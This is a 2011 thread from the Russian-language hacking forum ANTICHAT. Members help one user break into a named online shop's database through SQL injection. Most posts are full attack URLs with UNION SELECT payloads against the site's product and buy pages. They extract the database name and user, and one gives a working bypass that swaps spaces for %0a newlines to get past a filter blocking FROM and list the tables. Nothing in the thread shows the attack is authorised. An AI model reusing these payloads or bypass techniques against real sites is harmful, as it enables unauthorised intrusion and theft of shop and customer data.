ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
24.05.2011, 18:59
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
помогите разобраться, вот скуль
Сообщение от None
http://eshoker.com.ua/product.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 ,table_name,17,18,19,20+
from
+information_schema.tables--
на from срабатывает ошибка, пробовал хексить не помогает, символы /!* тоже не помогают, что можно придумать в такой ситуации? |
|
|
24.05.2011, 19:03
|
|
Новичок
Регистрация: 16.05.2009
Сообщений: 12
Провел на форуме:
135091
Репутация:
2
|
|
Сообщение от winstrool
помогите разобраться, вот скуль
на
from
срабатывает ошибка, пробовал хексить не помогает, символы /!* тоже не помогают, что можно придумать в такой ситуации?
БД зовут eshokcomua, а вот таблицы найти не смог...
|
|
|
|
24.05.2011, 19:23
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от o'clock
БД зовут eshokcomua, а вот таблицы найти не смог...
так стандартный вывод тоже вывел
Сообщение от None
http://eshoker.com.ua/product.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 ,concat_ws(0x3a,version(),database(),user()),17,18 ,19,20--
а вот когда начинаю использовать фром начинает выделываться...
|
|
|
|
24.05.2011, 19:26
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от FlaktW
Попробуй так:
http://eshoker.com.ua/product.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 ,16,17,18,19,20+user+--+
http://eshoker.com.ua/product.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 ,16,17,18,19,20+vse_chto_ugodno+--+
|
|
|
|
24.05.2011, 20:16
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от winstrool
http://eshoker.com.ua/product.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 ,16,17,18,19,20+vse_chto_ugodno+--+
Не все, точку например нельзя!
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schema.table+--+&lang=ua
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schematable+--+&lang=ua
|
|
|
|
24.05.2011, 20:59
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от FlaktW
Не все, точку например нельзя!
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schema.table+--+&lang=ua
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schematable+--+&lang=ua
без FROM там не обоийтись, по крайней мере я таких способов незнаю))
|
|
|
|
25.05.2011, 10:39
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от winstrool
без
FROM
там не обоийтись, по крайней мере я таких способов незнаю))
http://eshoker.com.ua/buy.php?id=9%0aand%0a1=0%0aunion%0aselect%0a1,2,ta ble_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19, 20%0afrom%0ainformation_schema.tables--+&lang=ua
Все выводится...
|
|
|
|
25.05.2011, 13:59
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от Tigger
http://eshoker.com.ua/buy.php?id=9%0aand%0a1=0%0aunion%0aselect%0a1,2,ta ble_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19, 20%0afrom%0ainformation_schema.tables--+&lang=ua
Все выводится...
Извините за наивный вопрос. Где можно почитать про этот способ?
|
|
|
|
25.05.2011, 14:07
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
Провел на форуме:
262707
Репутация:
935
|
|
%0a это символ перевода строки "\n"
|
|
|
|
26.05.2011, 00:11
|
|
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
Провел на форуме:
3426765
Репутация:
257
|
|
*:\Services\_InetPub\Domain\
*:\Services\_InetPub\Domain\subDomain\
Может оно
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
